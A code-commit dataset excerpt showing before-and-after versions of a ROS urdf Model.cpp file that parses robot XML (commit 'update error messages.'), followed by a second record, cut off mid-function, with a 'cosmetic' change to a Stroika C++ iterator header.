Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following conditions\n* are met:\n* \n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above\n* copyright notice, this list of conditions and the following\n* disclaimer in the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of the Willow Garage nor the names of its\n* contributors may be used to endorse or promote products derived\n* from this software without specific prior written permission.\n* \n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*********************************************************************\/\n\n\/* Author: Wim Meeussen *\/\n\n#include <boost\/algorithm\/string.hpp>\n#include <ros\/ros.h>\n#include <vector>\n#include \"urdf\/model.h\"\n\nnamespace urdf{\n\n\nModel::Model()\n{\n this->clear();\n}\n\nvoid Model::clear()\n{\n name_.clear();\n this->links_.clear();\n this->joints_.clear();\n this->materials_.clear();\n this->root_link_.reset();\n}\n\n\nbool Model::initFile(const std::string& filename)\n{\n TiXmlDocument xml_doc;\n xml_doc.LoadFile(filename);\n\n return initXml(&xml_doc);\n}\n\n\nbool Model::initString(const std::string& xml_string)\n{\n TiXmlDocument xml_doc;\n xml_doc.Parse(xml_string.c_str());\n\n return initXml(&xml_doc);\n}\n\n\nbool Model::initXml(TiXmlDocument *xml_doc)\n{\n if (!xml_doc)\n {\n ROS_ERROR(\"Could not parse the xml\");\n return false;\n }\n\n TiXmlElement *robot_xml = xml_doc->FirstChildElement(\"robot\");\n if (!robot_xml)\n {\n ROS_ERROR(\"Could not find the 'robot' element in the xml file\");\n return false;\n }\n return initXml(robot_xml);\n}\n\nbool Model::initXml(TiXmlElement *robot_xml)\n{\n this->clear();\n\n ROS_DEBUG(\"Parsing robot xml\");\n if (!robot_xml) return false;\n\n \/\/ Get robot name\n const char *name = robot_xml->Attribute(\"name\");\n if (!name)\n {\n ROS_ERROR(\"No name given for the robot.\");\n return false;\n }\n this->name_ = std::string(name);\n\n \/\/ Get all Material elements\n for (TiXmlElement* material_xml = robot_xml->FirstChildElement(\"material\"); material_xml; material_xml = material_xml->NextSiblingElement(\"material\"))\n {\n boost::shared_ptr<Material> material;\n material.reset(new Material);\n\n if (material->initXml(material_xml))\n {\n if (this->getMaterial(material->name))\n {\n ROS_ERROR(\"material '%s' is not unique.\", material->name.c_str());\n material.reset();\n return false;\n }\n else\n {\n this->materials_.insert(make_pair(material->name,material));\n ROS_DEBUG(\"successfully added a new material '%s'\", material->name.c_str());\n }\n }\n else\n {\n ROS_ERROR(\"material xml is not initialized correctly\");\n material.reset();\n }\n }\n\n \/\/ Get all Link elements\n for (TiXmlElement* link_xml = robot_xml->FirstChildElement(\"link\"); link_xml; link_xml = link_xml->NextSiblingElement(\"link\"))\n {\n boost::shared_ptr<Link> link;\n link.reset(new Link);\n\n if (link->initXml(link_xml))\n {\n if (this->getLink(link->name))\n {\n ROS_ERROR(\"link '%s' is not unique.\", link->name.c_str());\n link.reset();\n return false;\n }\n else\n {\n \/\/ set link visual material\n ROS_DEBUG(\"setting link '%s' material\", link->name.c_str());\n if (link->visual)\n {\n if (!link->visual->material_name.empty())\n {\n if (this->getMaterial(link->visual->material_name))\n {\n ROS_DEBUG(\"setting link '%s' material to '%s'\", link->name.c_str(),link->visual->material_name.c_str());\n link->visual->material = this->getMaterial( link->visual->material_name.c_str() );\n }\n else\n {\n if (link->visual->material)\n {\n ROS_DEBUG(\"link '%s' material '%s' defined in Visual.\", link->name.c_str(),link->visual->material_name.c_str());\n this->materials_.insert(make_pair(link->visual->material->name,link->visual->material));\n }\n else\n {\n ROS_ERROR(\"link '%s' material '%s' undefined.\", link->name.c_str(),link->visual->material_name.c_str());\n link.reset();\n return false;\n }\n }\n }\n }\n\n this->links_.insert(make_pair(link->name,link));\n ROS_DEBUG(\"successfully added a new link '%s'\", link->name.c_str());\n }\n }\n else\n {\n ROS_ERROR(\"link xml is not initialized correctly\");\n link.reset();\n }\n }\n \/\/ Get all Joint elements\n for (TiXmlElement* joint_xml = robot_xml->FirstChildElement(\"joint\"); joint_xml; joint_xml = joint_xml->NextSiblingElement(\"joint\"))\n {\n boost::shared_ptr<Joint> joint;\n joint.reset(new Joint);\n\n if (joint->initXml(joint_xml))\n {\n if (this->getJoint(joint->name))\n {\n ROS_ERROR(\"joint '%s' is not unique.\", joint->name.c_str());\n joint.reset();\n return false;\n }\n else\n {\n this->joints_.insert(make_pair(joint->name,joint));\n ROS_DEBUG(\"successfully added a new joint '%s'\", joint->name.c_str());\n }\n }\n else\n {\n ROS_ERROR(\"joint xml is not initialized correctly\");\n joint.reset();\n }\n }\n\n\n \/\/ every link has children links and joints, but no parents, so we create a\n \/\/ local convenience data structure for keeping child->parent relations\n std::map<std::string, std::string> parent_link_tree;\n parent_link_tree.clear();\n\n \/\/ building tree: name mapping\n if (!this->initTree(parent_link_tree))\n {\n ROS_ERROR(\"failed to build tree\");\n return false;\n }\n\n \/\/ find the root link\n if (!this->initRoot(parent_link_tree))\n {\n ROS_ERROR(\"failed to find root link\");\n return false;\n }\n \n return true;\n}\n\nbool Model::initTree(std::map<std::string, std::string> &parent_link_tree)\n{\n \/\/ loop through all joints, for every link, assign children links and children joints\n for (std::map<std::string,boost::shared_ptr<Joint> >::iterator joint = this->joints_.begin();joint != this->joints_.end(); joint++)\n {\n std::string parent_link_name = joint->second->parent_link_name;\n std::string child_link_name = joint->second->child_link_name;\n\n ROS_DEBUG(\"build tree: joint: '%s' has parent link '%s' and child link '%s'\", joint->first.c_str(), parent_link_name.c_str(),child_link_name.c_str());\n\n \/\/\/ add an empty \"world\" link\n if (parent_link_name == \"world\")\n {\n if (this->getLink(parent_link_name))\n {\n ROS_DEBUG(\" parent link '%s' already exists.\", parent_link_name.c_str());\n }\n else\n {\n ROS_DEBUG(\" parent link '%s' is a special case, adding fake link.\", parent_link_name.c_str());\n boost::shared_ptr<Link> link;\n link.reset(new Link);\n link->name = \"world\";\n this->links_.insert(make_pair(link->name,link));\n ROS_DEBUG(\" successfully added new link '%s'\", link->name.c_str());\n }\n }\n\n if (parent_link_name.empty())\n {\n ROS_DEBUG(\" Joint %s: does not have parent link name specified. Joint is an abstract joint.\",(joint->second)->name.c_str());\n }\n else if (child_link_name.empty())\n {\n ROS_DEBUG(\" Joint %s: does not have child link name specified. Joint is an abstract joint.\",(joint->second)->name.c_str());\n }\n else\n {\n \/\/ find parent link\n boost::shared_ptr<Link> parent_link;\n this->getLink(parent_link_name, parent_link);\n\n if (!parent_link)\n {\n ROS_ERROR(\" parent link '%s' is not found\", parent_link_name.c_str());\n return false;\n }\n else\n {\n \/\/ find child link\n boost::shared_ptr<Link> child_link;\n this->getLink(child_link_name, child_link);\n\n if (!child_link)\n {\n ROS_ERROR(\" for joint: %s child link '%s' is not found\",joint->first.c_str(),child_link_name.c_str());\n return false;\n }\n else\n {\n \/\/set parent link for child link\n child_link->setParent(parent_link);\n\n \/\/set parent joint for child link\n child_link->setParentJoint(joint->second);\n\n \/\/set child joint for parent link\n parent_link->addChildJoint(joint->second);\n\n \/\/set child link for parent link\n parent_link->addChild(child_link);\n\n \/\/ fill in child\/parent string map\n parent_link_tree[child_link->name] = parent_link_name;\n\n ROS_DEBUG(\" now Link '%s' has %i children \", parent_link->name.c_str(), (int)parent_link->child_links.size());\n }\n }\n }\n }\n\n return true;\n}\n\n\n\nbool Model::initRoot(std::map<std::string, std::string> &parent_link_tree)\n{\n\n this->root_link_.reset();\n\n for (std::map<std::string, std::string>::iterator p=parent_link_tree.begin(); p!=parent_link_tree.end(); p++)\n {\n if (parent_link_tree.find(p->second) == parent_link_tree.end())\n {\n if (this->root_link_)\n {\n ROS_DEBUG(\"child '%s', parent '%s', root '%s'\", p->first.c_str(), p->second.c_str(), this->root_link_->name.c_str());\n if (this->root_link_->name != p->second)\n {\n ROS_ERROR(\"Two root links found: '%s' and '%s'\", this->root_link_->name.c_str(), p->second.c_str());\n return false;\n }\n }\n else\n getLink(p->second,this->root_link_);\n }\n }\n if (!this->root_link_)\n {\n ROS_ERROR(\"No root link found. The robot xml is empty or not a tree.\");\n return false;\n }\n ROS_DEBUG(\"Link '%s' is the root link\", this->root_link_->name.c_str());\n\n return true;\n}\n\nboost::shared_ptr<Material> Model::getMaterial(const std::string& name) const\n{\n boost::shared_ptr<Material> ptr;\n if (this->materials_.find(name) == this->materials_.end())\n ptr.reset();\n else\n ptr = this->materials_.find(name)->second;\n return ptr;\n}\n\nboost::shared_ptr<const Link> Model::getLink(const std::string& name) const\n{\n boost::shared_ptr<const Link> ptr;\n if (this->links_.find(name) == this->links_.end())\n ptr.reset();\n else\n ptr = this->links_.find(name)->second;\n return ptr;\n}\n\nvoid Model::getLinks(std::vector<boost::shared_ptr<Link> >& links) const\n{\n for (std::map<std::string,boost::shared_ptr<Link> >::const_iterator link = this->links_.begin();link != this->links_.end(); link++)\n {\n links.push_back(link->second);\n }\n}\n\nvoid Model::getLink(const std::string& name,boost::shared_ptr<Link> &link) const\n{\n boost::shared_ptr<Link> ptr;\n if (this->links_.find(name) == this->links_.end())\n ptr.reset();\n else\n ptr = this->links_.find(name)->second;\n link = ptr;\n}\n\nboost::shared_ptr<const Joint> Model::getJoint(const std::string& name) const\n{\n boost::shared_ptr<const Joint> ptr;\n if (this->joints_.find(name) == this->joints_.end())\n ptr.reset();\n else\n ptr = this->joints_.find(name)->second;\n return ptr;\n}\n\n}\n\n<commit_msg>update error messages.<commit_after>\/*********************************************************************\n* Software License Agreement (BSD License)\n* \n* Copyright (c) 2008, Willow Garage, Inc.\n* All rights reserved.\n* \n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following conditions\n* are met:\n* \n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above\n* copyright notice, this list of conditions and the following\n* disclaimer in the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of the Willow Garage nor the names of its\n* contributors may be used to endorse or promote products derived\n* from this software without specific prior written permission.\n* \n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*********************************************************************\/\n\n\/* Author: Wim Meeussen *\/\n\n#include <boost\/algorithm\/string.hpp>\n#include <ros\/ros.h>\n#include <vector>\n#include \"urdf\/model.h\"\n\nnamespace urdf{\n\n\nModel::Model()\n{\n this->clear();\n}\n\nvoid Model::clear()\n{\n name_.clear();\n this->links_.clear();\n this->joints_.clear();\n this->materials_.clear();\n this->root_link_.reset();\n}\n\n\nbool Model::initFile(const std::string& filename)\n{\n TiXmlDocument xml_doc;\n xml_doc.LoadFile(filename);\n\n return initXml(&xml_doc);\n}\n\n\nbool Model::initString(const std::string& xml_string)\n{\n TiXmlDocument xml_doc;\n xml_doc.Parse(xml_string.c_str());\n\n return initXml(&xml_doc);\n}\n\n\nbool Model::initXml(TiXmlDocument *xml_doc)\n{\n if (!xml_doc)\n {\n ROS_ERROR(\"Could not parse the xml\");\n return false;\n }\n\n TiXmlElement *robot_xml = xml_doc->FirstChildElement(\"robot\");\n if (!robot_xml)\n {\n ROS_ERROR(\"Could not find the 'robot' element in the xml file\");\n return false;\n }\n return initXml(robot_xml);\n}\n\nbool Model::initXml(TiXmlElement *robot_xml)\n{\n this->clear();\n\n ROS_DEBUG(\"Parsing robot xml\");\n if (!robot_xml) return false;\n\n \/\/ Get robot name\n const char *name = robot_xml->Attribute(\"name\");\n if (!name)\n {\n ROS_ERROR(\"No name given for the robot.\");\n return false;\n }\n this->name_ = std::string(name);\n\n \/\/ Get all Material elements\n for (TiXmlElement* material_xml = robot_xml->FirstChildElement(\"material\"); material_xml; material_xml = material_xml->NextSiblingElement(\"material\"))\n {\n boost::shared_ptr<Material> material;\n material.reset(new Material);\n\n if (material->initXml(material_xml))\n {\n if (this->getMaterial(material->name))\n {\n ROS_ERROR(\"material '%s' is not unique.\", material->name.c_str());\n material.reset();\n return false;\n }\n else\n {\n this->materials_.insert(make_pair(material->name,material));\n ROS_DEBUG(\"successfully added a new material '%s'\", material->name.c_str());\n }\n }\n else\n {\n ROS_ERROR(\"material xml is not initialized correctly\");\n material.reset();\n }\n }\n\n \/\/ Get all Link elements\n for (TiXmlElement* link_xml = robot_xml->FirstChildElement(\"link\"); link_xml; link_xml = link_xml->NextSiblingElement(\"link\"))\n {\n boost::shared_ptr<Link> link;\n link.reset(new Link);\n\n if (link->initXml(link_xml))\n {\n if (this->getLink(link->name))\n {\n ROS_ERROR(\"link '%s' is not unique.\", link->name.c_str());\n link.reset();\n return false;\n }\n else\n {\n \/\/ set link visual material\n ROS_DEBUG(\"setting link '%s' material\", link->name.c_str());\n if (link->visual)\n {\n if (!link->visual->material_name.empty())\n {\n if (this->getMaterial(link->visual->material_name))\n {\n ROS_DEBUG(\"setting link '%s' material to '%s'\", link->name.c_str(),link->visual->material_name.c_str());\n link->visual->material = this->getMaterial( link->visual->material_name.c_str() );\n }\n else\n {\n if (link->visual->material)\n {\n ROS_DEBUG(\"link '%s' material '%s' defined in Visual.\", link->name.c_str(),link->visual->material_name.c_str());\n this->materials_.insert(make_pair(link->visual->material->name,link->visual->material));\n }\n else\n {\n ROS_ERROR(\"link '%s' material '%s' undefined.\", link->name.c_str(),link->visual->material_name.c_str());\n link.reset();\n return false;\n }\n }\n }\n }\n\n this->links_.insert(make_pair(link->name,link));\n ROS_DEBUG(\"successfully added a new link '%s'\", link->name.c_str());\n }\n }\n else\n {\n ROS_ERROR(\"link xml is not initialized correctly\");\n link.reset();\n }\n }\n \/\/ Get all Joint elements\n for (TiXmlElement* joint_xml = robot_xml->FirstChildElement(\"joint\"); joint_xml; joint_xml = joint_xml->NextSiblingElement(\"joint\"))\n {\n boost::shared_ptr<Joint> joint;\n joint.reset(new Joint);\n\n if (joint->initXml(joint_xml))\n {\n if (this->getJoint(joint->name))\n {\n ROS_ERROR(\"joint '%s' is not unique.\", joint->name.c_str());\n joint.reset();\n return false;\n }\n else\n {\n this->joints_.insert(make_pair(joint->name,joint));\n ROS_DEBUG(\"successfully added a new joint '%s'\", joint->name.c_str());\n }\n }\n else\n {\n ROS_ERROR(\"joint xml is not initialized correctly\");\n joint.reset();\n }\n }\n\n\n \/\/ every link has children links and joints, but no parents, so we create a\n \/\/ local convenience data structure for keeping child->parent relations\n std::map<std::string, std::string> parent_link_tree;\n parent_link_tree.clear();\n\n \/\/ building tree: name mapping\n if (!this->initTree(parent_link_tree))\n {\n ROS_ERROR(\"failed to build tree\");\n return false;\n }\n\n \/\/ find the root link\n if (!this->initRoot(parent_link_tree))\n {\n ROS_ERROR(\"failed to find root link\");\n return false;\n }\n \n return true;\n}\n\nbool Model::initTree(std::map<std::string, std::string> &parent_link_tree)\n{\n \/\/ loop through all joints, for every link, assign children links and children joints\n for (std::map<std::string,boost::shared_ptr<Joint> >::iterator joint = this->joints_.begin();joint != this->joints_.end(); joint++)\n {\n std::string parent_link_name = joint->second->parent_link_name;\n std::string child_link_name = joint->second->child_link_name;\n\n ROS_DEBUG(\"build tree: joint: '%s' has parent link '%s' and child link '%s'\", joint->first.c_str(), parent_link_name.c_str(),child_link_name.c_str());\n\n \/\/\/ add an empty \"world\" link\n if (parent_link_name == \"world\")\n {\n if (this->getLink(parent_link_name))\n {\n ROS_DEBUG(\" parent link '%s' already exists.\", parent_link_name.c_str());\n }\n else\n {\n ROS_DEBUG(\" parent link '%s' is a special case, adding fake link.\", parent_link_name.c_str());\n boost::shared_ptr<Link> link;\n link.reset(new Link);\n link->name = \"world\";\n this->links_.insert(make_pair(link->name,link));\n ROS_DEBUG(\" successfully added new link '%s'\", link->name.c_str());\n }\n }\n\n if (parent_link_name.empty())\n {\n ROS_DEBUG(\" Joint %s: does not have parent link name specified. Joint is an abstract joint.\",(joint->second)->name.c_str());\n }\n else if (child_link_name.empty())\n {\n ROS_DEBUG(\" Joint %s: does not have child link name specified. Joint is an abstract joint.\",(joint->second)->name.c_str());\n }\n else\n {\n \/\/ find parent link\n boost::shared_ptr<Link> parent_link;\n this->getLink(parent_link_name, parent_link);\n\n if (!parent_link)\n {\n ROS_ERROR(\" parent link '%s' of joint '%s' not found\", parent_link_name.c_str(), joint->first.c_str() );\n return false;\n }\n else\n {\n \/\/ find child link\n boost::shared_ptr<Link> child_link;\n this->getLink(child_link_name, child_link);\n\n if (!child_link)\n {\n ROS_ERROR(\" child link '%s' of joint: %s not found\",child_link_name.c_str(),joint->first.c_str());\n return false;\n }\n else\n {\n \/\/set parent link for child link\n child_link->setParent(parent_link);\n\n \/\/set parent joint for child link\n child_link->setParentJoint(joint->second);\n\n \/\/set child joint for parent link\n parent_link->addChildJoint(joint->second);\n\n \/\/set child link for parent link\n parent_link->addChild(child_link);\n\n \/\/ fill in child\/parent string map\n parent_link_tree[child_link->name] = parent_link_name;\n\n ROS_DEBUG(\" now Link '%s' has %i children \", parent_link->name.c_str(), (int)parent_link->child_links.size());\n }\n }\n }\n }\n\n return true;\n}\n\n\n\nbool Model::initRoot(std::map<std::string, std::string> &parent_link_tree)\n{\n\n this->root_link_.reset();\n\n for (std::map<std::string, std::string>::iterator p=parent_link_tree.begin(); p!=parent_link_tree.end(); p++)\n {\n if (parent_link_tree.find(p->second) == parent_link_tree.end())\n {\n if (this->root_link_)\n {\n ROS_DEBUG(\"child '%s', parent '%s', root '%s'\", p->first.c_str(), p->second.c_str(), this->root_link_->name.c_str());\n if (this->root_link_->name != p->second)\n {\n ROS_ERROR(\"Two root links found: '%s' and '%s'\", this->root_link_->name.c_str(), p->second.c_str());\n return false;\n }\n }\n else\n getLink(p->second,this->root_link_);\n }\n }\n if (!this->root_link_)\n {\n ROS_ERROR(\"No root link found. The robot xml is empty or not a tree.\");\n return false;\n }\n ROS_DEBUG(\"Link '%s' is the root link\", this->root_link_->name.c_str());\n\n return true;\n}\n\nboost::shared_ptr<Material> Model::getMaterial(const std::string& name) const\n{\n boost::shared_ptr<Material> ptr;\n if (this->materials_.find(name) == this->materials_.end())\n ptr.reset();\n else\n ptr = this->materials_.find(name)->second;\n return ptr;\n}\n\nboost::shared_ptr<const Link> Model::getLink(const std::string& name) const\n{\n boost::shared_ptr<const Link> ptr;\n if (this->links_.find(name) == this->links_.end())\n ptr.reset();\n else\n ptr = this->links_.find(name)->second;\n return ptr;\n}\n\nvoid Model::getLinks(std::vector<boost::shared_ptr<Link> >& links) const\n{\n for (std::map<std::string,boost::shared_ptr<Link> >::const_iterator link = this->links_.begin();link != this->links_.end(); link++)\n {\n links.push_back(link->second);\n }\n}\n\nvoid Model::getLink(const std::string& name,boost::shared_ptr<Link> &link) const\n{\n boost::shared_ptr<Link> ptr;\n if (this->links_.find(name) == this->links_.end())\n ptr.reset();\n else\n ptr = this->links_.find(name)->second;\n link = ptr;\n}\n\nboost::shared_ptr<const Joint> Model::getJoint(const std::string& name) const\n{\n boost::shared_ptr<const Joint> ptr;\n if (this->joints_.find(name) == this->joints_.end())\n ptr.reset();\n else\n ptr = this->joints_.find(name)->second;\n return ptr;\n}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2021. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n#define _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"DelegatedIterator.h\"\n\nnamespace Stroika::Foundation::Traversal {\n\n#if qDebug\n namespace Private_ {\n template <typename T>\n IteratorTracker<T>::~IteratorTracker ()\n {\n Assert (*fCountRunning == 0);\n }\n template <typename T>\n Iterator<T> IteratorTracker<T>::MakeDelegatedIterator (const Iterator<T>& sourceIterator)\n {\n return DelegatedIterator<T, shared_ptr<unsigned int>> (sourceIterator, fCountRunning);\n }\n }\n#endif\n\n \/*\n ********************************************************************************\n * IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep *\n ********************************************************************************\n *\/\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n inline IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::_Rep (const CONTEXT_FOR_EACH_ITERATOR& contextForEachIterator)\n : _fContextForEachIterator (contextForEachIterator)\n#if qDebug\n , fIteratorTracker_ ()\n#endif\n {\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::MakeIterator () const\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (Iterator<T>{Iterator<T>::template MakeSmartPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)});\n#else\n return Iterator<T>{Iterator<T>::template MakeSmartPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)};\n#endif\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n size_t IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n bool IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (); not i.Done (); ++i) {\n return false;\n }\n return true;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n void IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::Apply (const function<void (ArgByValueType<value_type> item)>& doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::FindFirstThat (const function<bool (ArgByValueType<value_type> item)>& doToElement) const\n {\n return this->_FindFirstThat (doToElement);\n }\n#define qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding 1\n#if qNotSureWhyWeNeedExtraTemplateDefsIsItMSFTBugOrMyMisunderstanding\n template <typename T>\n size_t IterableFromIterator<T, void, void>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T>\n bool IterableFromIterator<T, void, void>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (); not i.Done ();) {\n return false;\n }\n return true;\n }\n template <typename T>\n void IterableFromIterator<T, void, void>::_Rep::Apply (const function<void (ArgByValueType<value_type> item)>& doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T>\n Iterator<T> IterableFromIterator<T, void, void>::_Rep::FindFirstThat (const function<bool (ArgByValueType<value_type> item)>& doToElement) const\n {\n return this->_FindFirstThat (doToElement);\n }\n#endif\n\n \/*\n ********************************************************************************\n **************************** MakeIterableFromIterator **************************\n ********************************************************************************\n *\/\n template <typename T>\n Iterable<T> MakeIterableFromIterator (const Iterator<T>& iterator)\n {\n struct MyIterable_ : public Iterable<T> {\n struct Rep : public IterableFromIterator<T>::_Rep, public Memory::UseBlockAllocationIfAppropriate<Rep> {\n using _IterableRepSharedPtr = typename Iterable<T>::_IterableRepSharedPtr;\n Iterator<T> fOriginalIterator;\n#if qDebug\n mutable Private_::IteratorTracker<T> fIteratorTracker_{};\n#endif\n Rep (const Iterator<T>& originalIterator)\n : fOriginalIterator{originalIterator}\n {\n }\n virtual Iterator<T> MakeIterator () const override\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (fOriginalIterator);\n#else\n return fOriginalIterator;\n#endif\n }\n virtual _IterableRepSharedPtr Clone () const override\n {\n return Iterable<T>::template MakeSmartPtr<Rep> (*this);\n }\n };\n MyIterable_ (const Iterator<T>& originalIterator)\n : Iterable<T>{Iterable<T>::template MakeSmartPtr<Rep> (originalIterator)}\n {\n }\n };\n return MyIterable_{iterator};\n }\n\n}\n\n#endif \/* _Stroika_Foundation_Traversal_IterableFromIterator_inl_ *\/\n<commit_msg>cosmetic<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2021. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n#define _Stroika_Foundation_Traversal_IterableFromIterator_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"DelegatedIterator.h\"\n\nnamespace Stroika::Foundation::Traversal {\n\n#if qDebug\n namespace Private_ {\n template <typename T>\n IteratorTracker<T>::~IteratorTracker ()\n {\n Assert (*fCountRunning == 0);\n }\n template <typename T>\n Iterator<T> IteratorTracker<T>::MakeDelegatedIterator (const Iterator<T>& sourceIterator)\n {\n return DelegatedIterator<T, shared_ptr<unsigned int>> (sourceIterator, fCountRunning);\n }\n }\n#endif\n\n \/*\n ********************************************************************************\n * IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep *\n ********************************************************************************\n *\/\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n inline IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::_Rep (const CONTEXT_FOR_EACH_ITERATOR& contextForEachIterator)\n : _fContextForEachIterator {contextForEachIterator}\n {\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::MakeIterator () const\n {\n#if qDebug\n return fIteratorTracker_.MakeDelegatedIterator (Iterator<T>{Iterator<T>::template MakeSmartPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)});\n#else\n return Iterator<T>{Iterator<T>::template MakeSmartPtr<NEW_ITERATOR_REP_TYPE> (_fContextForEachIterator)};\n#endif\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n size_t IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::GetLength () const\n {\n size_t n = 0;\n for (auto i = this->MakeIterator (); not i.Done (); ++i) {\n n++;\n }\n return n;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n bool IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::IsEmpty () const\n {\n for (auto i = this->MakeIterator (); not i.Done (); ++i) {\n return false;\n }\n return true;\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n void IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::Apply (const function<void (ArgByValueType<value_type> item)>& doToElement) const\n {\n this->_Apply (doToElement);\n }\n template <typename T, typename NEW_ITERATOR_REP_TYPE, typename CONTEXT_FOR_EACH_ITERATOR>\n Iterator<T> IterableFromIterator<T, NEW_ITERATOR_REP_TYPE, CONTEXT_FOR_EACH_ITERATOR>::_Rep::FindFirstThat (const function<bool (ArgByValueType<value_type> item)>& doToElement) const\n {\n return 